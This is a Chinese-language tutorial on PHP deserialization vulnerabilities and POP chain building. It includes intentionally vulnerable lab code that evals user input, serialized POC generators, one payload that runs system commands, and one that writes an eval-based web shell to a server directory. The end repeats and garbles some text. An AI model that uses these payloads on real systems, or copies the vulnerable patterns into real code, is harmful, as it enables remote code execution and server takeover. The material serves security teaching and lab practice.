PHP反序列化_php序列化和反序列化[通俗易懂]

PHP反序列化_php序列化和反序列化[通俗易懂]POP即:面向属性编程(Property-OrientedPrograming)常用于上层语言构造特定调用链的方法,是从现有运行些工作了

PHP反序列化

PHP反序列化漏洞原理

回顾序列化

PHP serialize() 函数

serialize() 函数用于序列化对象或数组,并返回一个字符串。

serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

$source = "helloworld";
echo serialize($source);

在浏览器显示:s:10:“helloworld”;

$source = array("shandong","jinan");
echo serialize($source);

在浏览器显示:a:2:{i:0;s:8:“shandong”;i:1;s:5:“jinan”;}

反序列化 unserialize()

$source = 'a:2:{i:0;s:8:"shandong";i:1;s:5:"jinan";}';
$array = unserialize($source);
var_dump($array);

浏览器以原数组的方式展现出来:array(2) { [0]=> string(8) “shandong” [1]=> string(5) “jinan” }

class People { 
   
    var $name = ''; 
    var $sex = '';
    var $age = 0;
    var $addr = '';

    // 魔术方法:__construct,指类在实例化的时候会,自动调用
    function __construct($name='张三', $sex='男', $age=30, $addr='成都高新区') { 
   
        $this->name = $name;
        $this->sex = $sex;
        $this->age = $age;
        $this->addr = $addr;
        echo "正在初始化. <br/>";
    }

    // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用
    function __destruct() { 
   
        echo "正在释放资源. <br/>";
    }

    // 魔术方法:__sleep,在类实例被序列化时,自动调用
    function __sleep() { 
   
        echo "正在序列化. <br/>";
        // 返回一个由序列化类的属性名构成的数组
        return array('name', 'sex', 'age', 'addr');
    }

    // 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用
    // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct
    function __wakeup() { 
   
        echo "正在被反序列化. <br/>";
    }

    function getName() { 
   
        echo $this->name . "<br/>";
    }
}


// $p1 = new People(); // 因为__construct的参数有默认值,所以实例化的时候可以不用给定参数值
// echo $p1->name . "<br/>";
// $p1->getName() . "<br/>";
// echo serialize($p1) . "<br/>";



// $source = 'O:6:"People":4:{s:4:"name";s:9:"张三疯";s:3:"sex";s:3:"男";s:3:"age";i:30;s:4:"addr";s:15:"成都高新区";}';
$source = $_POST['source'];
$p2 = unserialize($source);
$p2->getName();

因为编码问题,在反序列化内的中文改为英文

image-20221103112315967

class Test { 
   
    public $phone = '';
    var $ip = '';

    public function __wakeup () { 
   
        $this->getPhone();
    }

    public function __destruct() { 
   
        echo $this->getIp();
    }
    
    public function getPhone() { 
   
        // echo $this->phone;
        @eval($this->phone);
    }

    public function getIp() { 
   
        echo $this->ip;
    }
}

$source = $_POST['source'];
$p2 = unserialize($source);

POST:source=O:4:“Test”:2:{s:2:“ip”;s:9:“127.0.0.1”;s:5:“phone”;s:10:“phpinfo();”;}

image-20221103121137083

2、魔术方法

在PHP反序列化的过程中会自动执行一些魔术方法,完整列表如下:

方法名 调用条件
__call 调用不可访问或不存在的方法时被调用 __call($name, $args)
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
二、反序列化漏洞
1、存在反序列化漏洞的代码

新建一个PHP源文件,命名为:usdemo.php

class Test { 
   
    public $phone = '';
    var $ip = '';
}

$t = new Test();
$t->phone = 'phpinfo();';
$t->ip = '127.0.0.2';
echo serialize($t);
2、如何利用该反序列化漏洞

(1)先分析代码的结构,值如何传入,什么情况下会被调用,被调用后是什么结果

(2)由于反序列化后输出结果通常是比较复杂的结构,人为构造是很容易出错且几乎不可能的事情,所以我们需要自己编写一个与漏洞代码相同的类名,相同的属性,甚至相同代码的类,用于生成序列化后的字符串

新建一个PHP源文件,命令为uspoc.php

// 构造漏洞利用的POC,并输出反序列化后的结果
class USDemo { 
   
    var $code = 'phpinfo();';   // 直接填充要执行的命令体
    function __destruct() { 
   
        @eval($this->code);
    }
}
$utp = new USDemo();
echo serialize($utp);   // 输出为:O:6:"USDemo":1:{s:4:"code";s:10:"phpinfo();";}

(3)从上述POC代码中获取到反序列化的结果,再将该结果提交给漏洞代码的code参数,完成利用

http://xxx.xxx.xxx.xx/security/unserial/usdemo.php?code=O:6:"USDemo":1:{s:4:"code";s:10:"phpinfo();";}

image-20221103195035730

3、关于__wakeup

将usdemo.php的源代码修改为:

class USDemo { 
   
var $code;
function __wakeup() { 
   
$this->code = "echo 'Hello';";
  }    
function __destruct() { 
           
@eval($this->code);    
  }
}
$test = unserialize($_GET['code']);
PHP反序列化基础利用链
一、准备漏洞代码
class kaiser { 
   
    var $a;
    function __construct() { 
   
        $this->a = new Test();
    }
    function __destruct() { 
   
        $this->a->hello();
    }
}
class Test { 
   
    function hello() { 
   
        echo "Hello World.";
    }
}
class Vul { 
   
    var $data;
    function hello() { 
   
        @eval($this->data);
    }
}
unserialize($_GET['code']);

POC

class kaiser { 
   
    var $a;
    function __construct() { 
   
        $this->a = new Vul();
    }

    function __destruct() { 
   
        $this->a->hello();
    }
}

class Vul { 
   
    var $data= "phpinfo();";
    function hello() { 
   
        @eval($this->data);
    }

    // function __call($name, $args) { 
   
    // $this->hi();
    // }

}
echo serialize(new kaiser());

简化后的POC

class kaiser { 
   
    var $a;
    function __construct() { 
   
        $this->a = new Vul();
    }
}
class Vul { 
   
    // protected $data = "phpinfo();";
    protected $data = "system('ifconfig');";
}
echo urlencode(serialize(new kaiser()));

如果使用private定义 poc则需要url编码

class kaiser { 
   
    private $a;
    function __construct() { 
   
        $this->a = new Vul();
    }
}
class Vul { 
   
    protected $data = "phpinfo();";
}

echo urlencode(serialize(new kaiser()));
五、反序列化的常用手段
1、反序列化的常见起点:

(1)__wakeup 一定会调用

(2)__destruct 一定会调用

(3)__toString 当一个对象被反序列化后又被当做字符串使用

2、反序列化的常见中间跳板:

(1)__toString 当一个对象被当做字符串使用

(2)__get 读取不可访问或不存在属性时被调用

(3)__set 当给不可访问或不存在属性赋值时被调用

(4)__isset 对不可访问或不存在的属性调用isset()或empty()时被调用,形如 t h i s − > this-> this>func();

(5)__call 调用不可访问或不存在的方法时被调用

3、反序列化的常见终点:

(1)call_user_func 一般php代码执行都会选择这里

(2)call_user_func_array 一般php代码执行都会选择这里

(3)执行指令、文件操作、执行代码等敏感操作

PHP反序列化练习讲解

一、目标代码分析

请完成对以下代码的Payload构造,并实现写入木马的功能:

1、此处代码并没有直接unserialize,而是实例化,且参数从Cookie中来

2、retun [] 并不会执行,是干扰代码,不应该去关注

3、所有方法中全在使用$data定义,很容易扰乱思路

4、在第6行的$data是一个Template实例,倡在第22时,却在使用数组调用

5、如何能够到达目标?需要经过__destruct调用,而什么时候会调用__destruct?释放时均会调用,所以此处会调用两次。

6、?: 是什么意思?三元运算符,A ? B : C,如果A,则B,否则C。 A ?: B, 如果A,则A,否则B

class Template { 
   
    var $cacheFile = "cache.txt";
    var $template = "<div>Welcome back %s</div>";
    function __construct($data = null) { 
   
        $data = $this->loadData($data);    // $data反序列后是一个Template对象
        $this->render($data);
    }
    function loadData($data) { 
   
        return unserialize($data);   // $data值必须是一个序列化结果
        return [];                   // []代表空数组,但是此处不会执行
    }
    function createCache($file = null, $tpl = null) { 
   
        $file = $file ?: $this->cacheFile;
        $tpl = $tpl ?: $this->template;
        file_put_contents($file, $tpl);
    }
    function render($data) { 
   
        echo sprintf($this->template, htmlspecialchars($data['name']));  // 此处$data只能是一个数组
    }
    // 此会会被调用两次,第一次实例化后正常调用,第二次反序列后再调用 
    function __destruct() { 
   
        $this->createCache();
    }
}
new Template($_COOKIE['data']);
二、反序列化POC
class Template { 
   
    var $cacheFile = "/opt/lampp/htdocs/security/upload/shell.php";
    var $template = '<?php @eval($_POST["code"]); ?>';
}
$a = new Template();
$b = array($a);
echo urlencode(serialize($b));

VSCode+XDebug远程调试

一、安装VSCode插件

无论远程调试,还是本地,在VSCode中都需要安装PHP Debug插件,顺便也把智能提示安装在远程,实现智能提示。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o0qz7P4E-1667800748350)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20221104210008341.png)]

二、在Linux上安装XDebug

1、下载XDebug对应版本:https://xdebug.org/download/historical,可通过phpinfo()确认适用于哪个版本

2、在Linux上解压XDebug源码

[root@localhost xdebug-2.5.5]# /opt/lampp/bin/phpize
Configuring for:
PHP Api Version:         20131106
Zend Module Api No:      20131226
Zend Extension Api No:   220131226
Cannot find autoconf. Please check your autoconf installation and the
$PHP_AUTOCONF environment variable. Then, rerun this script.

如果出现以上提示,安装:yum install autoconf

3、./configure —enable-xdebug —with-php-config=/opt/lampp/bin/php-config

4、make

5、make install

6、取得扩展文件xdebug.so的路径

Installing shared extensions:     /opt/lampp/lib/php/extensions/no-debug-non-zts-20131226/

7、修改:/opt/lampp/etc/php.ini,在Module Settings节点下添加:

;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[XDebug]
zend_extension=/opt/lampp/lib/php/extensions/no-debug-non-zts-20131226/xdebug.so  
xdebug.remote_enable = 1       ; 开启远程调试功能
xdebug.remote_autostart = 1    ; 自动启动
xdebug.remote_handler = "dbgp" ; 调试处理器
xdebug.remote_port = "9000"    ; 端口号
xdebug.remote_host = "192.168.xxx.xxx"   ; 远程调试的IP地址,即PHP所在服务器IP

8、修改VSCode的端口号为9000,然后设置断点开始调试,在浏览器中运行网页,暂停到断点处

image-20221104210141428

三、使用调试功能
1、启动调试

image-20221104210200020

调试过程

image-20221104210212000

反序列化POP调用链构造

一、什么是POP

POP即:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行 些工作了。

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

二、PHP漏洞代码

请通过反序列化操作,执行任意PHP命令。

<?php
class Tiger{ 
   
    public $string;
    protected $var;
    public function __toString(){ 
   
        return $this->string;
    }
    public function boss($value){ 
   
        @eval($value);
    }
    public function __invoke(){ 
   
        $this->boss($this->var);
    }
}
class Lion{ 
   
    public $tail;
    public function __construct(){ 
   
        $this->tail = array();
    }
    public function __get($value){ 
   
        $function = $this->tail;
        return $function();
    }
}
class Monkey{ 
   
    public $head;
    public $hand;
    public function __construct($here="Zoo"){ 
   
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){ 
   
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) { 
   
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Elephant{ 
   
    public $nose;
    public $nice;
    public function __construct($nice="nice"){ 
   
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){ 
   
        return $this->nice->nose;
    }
}
if(isset($_GET['zoo'])){ 
   
    @unserialize($_GET['zoo']);
}
else{ 
   
    $a = new Monkey;
    echo "Hello PHP!";
}
?>
POP调用链分析
1、确定终点

经过详细分析,目标调用存在于Tiger类的boss方法中,只要能够构造出boss方法的参数值为一条序列化字符串的PHP代码,即可完成。

2、寻找起点

通常反序列化过程中,必然会被自动调用的是__wakeup 和 __destruct 两个魔术方法,所以寻找上述代码中的起点,发现只有在Monkey类中存在__wakeup,那么就暂时先以Monkey类作为起点,进行反序列化操作,但是是否能达到终点并不完全确定,如果最终无法到达终点,那么我们就必须要继续寻找新的起点,或者是评估调用链是否正确。

3、确定$this->head

在Monkey类的__wakeup魔术方法中,使用了preg_match函数进行正则匹配,也就意味着第二个参数 $this->head 必须是一个字符串。从Monkey类中可以看到,$this->head的值可以来源于构造方法,默认值为 Zoo,但是这样使用显然不可能,因为反序列化的时候,是不会调用构造方法的。那么所以只能换一个方向来思考,$this->head如果是一个对象呢,当把一个对象当成字符串处理时,会触发__toString魔术方法,这条路也许可行。

4、确定__toString所在类

现在有两个对象有tostring方法,分别是Elephant和Tiger,选择哪个呢,我们的目的是进入boss函数执行命令,可以看到Tiger的tostring方法只是返回一个变量没啥用,所以就选择让$this->head = new Elephant();,此时会执行$this->nice->nose;

5、确定$this->nice

在Elephant的构造方法中,也存在对$nice的赋值,但是这类操作并没有实际价值,因为我们的目标是要想办法进行跳转,要一步一步跳转到别的类当中去执行代码,进而最终到达终点。目前还剩下Tiger的__invoke和Lion的__get没有进行跳转和调用,那么首先需要知道这两个魔术方法的触发条件:

(1)__invoke:当以函数方式调用对象时被调用,也就是类似:$a = new A(); $a();这种调用方式时触发

(2)__get:读取不可访问或不存在属性时被调用

那么我们来分析一下,$this->nice为哪个对象时,可以继续往下走。显然,此处不可能有条件能够触发到__invoke,那么只能选择触发__get,于是令$this->nice = new Lion(),而Lion类并没有属性nose,所以完成对Lion类的__get的触发

6、确定$this->tail

当跳转到Lion类的__get方法时,此时我们看到两个特征,第一:在返回一个函数,那么这很有可能为下一步准备以函数方式调用对象做了铺垫,即可以触发Tiger类的__invoke方法,目前看起来也许前面的POP正确性比较高。第二:需要确定$this->tail的值,那么按照这个设计来看的话,此处应该令$this->tail = new Tiger(); 是很有可能正确的。这个时候$function就是Tiger对象,而下一步的代码return $function();恰好可以印证这一点,实现了对象的函数式调用,进而触发Tiger类的__invoke魔术方法。

7、确定$this->var

进到Tiger类的__invoke魔术方法中时,直接看到了调用$this->boss()方法,已经快到终点了,所以此时,只需要确定$this->var的值便可以完成调用链的构造了,此时问题变简单了,只需要令$this->var = phpinfo();即可完成构造。

8、以终为始

上述分析过程,是以起点开始的,而往往起点通向终点的过程并不一定非常顺利,所以也可以将分析过程反过来,以终点开始,逐步推向起点,效率也许会更高。如果倒推,顺推都是一条路径,那么足以说明POP链是完全正确的。

class Tiger{ 
   
    public $string;
    protected $var = "phpinfo();";
}


class Lion{ 
   
    public $tail;

    function __construct() { 
   
        $this->tail = new Tiger();
    }
}

class Elephant { 
   
    public $nose;
    public $nice;

    function __construct()
    { 
   
        $this->nice = new Lion();
    }
}

class Monkey{ 
   
    public $head;

    function __construct()
    { 
   
        $this->head = new Elephant();
    }
}

$m = new Monkey();
echo urlencode(serialize($m));

之后在原网页触发指令

image-20221107100705015

总结

(1)先要确定起点和终点,如果起点有多个,那么就去尝试最有可能进行相互跳转的一个,起点和终点无法确定,POP链不可能成功。

(2)一定要牢记不同的魔术方法的自动触发条件,如果不太熟悉,则做实验证明,然后理解它。

(3)自动触发的跳转过程,会不停地给类变量(属性)赋值,一定要知道该赋什么样的值,通常的值都不会是普通类型,而是对象。

(4)POP链的分析和构造过程,可以完全忽略非魔术方法或也链条无关的方法和属性。

(5)POP的核心在于属性,而不是方法,序列化和反序列化的核心也在属性,而不是方法,所以方法对我们构造POC是无意义的。总结

(1)先要确定起点和终点,如果起点有多个,那么就去尝试最有可能进行相互跳转的一个,起点和终点无法确定,POP链不可能成功。

(2)一定要牢记不同的魔术方法的自动触发条件,如果不太熟悉,则做实验证明,然后理解它。

(3)自动触发的跳转过程,会不停地给类变量(属性)赋值,一定要知道该赋什么样的值,通常的值都不会是普通类型,而是对象。

(4)POP链的分析和构造过程,可以完全忽略非魔术方法或也链条无关的方法和属性。

(5)POP的核心在于属性,而不是方法,序列化和反序列化的核心也在属性,而不是方法,所以方法对我们构造POC是无意义的。

反序列化POP调用链构造二
PHP目标代码
<?php
class start_gg { 
   
    public $mod1;
    public $mod2;
    public function __destruct() { 
   
        $this->mod1->test1();
    }
}
class Call { 
   
    public $mod1;
    public $mod2;
    public function test1() { 
   
        $this->mod1->test2();
    }
}
class funct { 
   
    public $mod1;
    public $mod2;
    public function __call($test2,$arr) { 
   
        $s1 = $this->mod1;
        $s1();
    }
}
class func { 
   
    public $mod1;
    public $mod2;
    public function __invoke() { 
   
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1 { 
   
    public $str1;
    public $str2;
    public function __toString() { 
   
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag { 
   
    public function get_flag() { 
   
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}
$a = $_GET['string'];
unserialize($a);

?>

构造POC

class GetFlag { 
   

}
class string1 { 
   
    public $str1;
    function __construct(){ 
   
        $this->str1 = new GetFlag();
    }
}

class func { 
   
    public $mod1;
    public $mod2;
    function __construct(){ 
   
        $this->mod1 = new string1;
    }
}    

class funct { 
   
    public $mod1;
    function __construct(){ 
   
        $this->mod1 = new func();
    }
}

class start_gg { 
   
    public $mod1;
    function __construct()
    { 
   
        $this->mod1 = new funct();
    }
}

$s = new start_gg();
echo serialize($s);

ss GetFlag {

public function get_flag() {

echo “flag:”.“59DB9139E685F7D6A4A8784F9221066F”;
}
}
$a = G E T [ ′ s t r i n g ′ ] ; u n s e r i a l i z e ( _GET[‘string’]; unserialize( GET[string];unserialize(a);

?>



构造POC



```php
class GetFlag {

}
class string1 {
    public $str1;
    function __construct(){
        $this->str1 = new GetFlag();
    }
}

class func {
    public $mod1;
    public $mod2;
    function __construct(){
        $this->mod1 = new string1;
    }
}    

class funct {
    public $mod1;
    function __construct(){
        $this->mod1 = new func();
    }
}

class start_gg {
    public $mod1;
    function __construct()
    {
        $this->mod1 = new funct();
    }
}

$s = new start_gg();
echo serialize($s);

今天的文章PHP反序列化_php序列化和反序列化[通俗易懂]分享到此就结束了,感谢您的阅读。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/69862.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注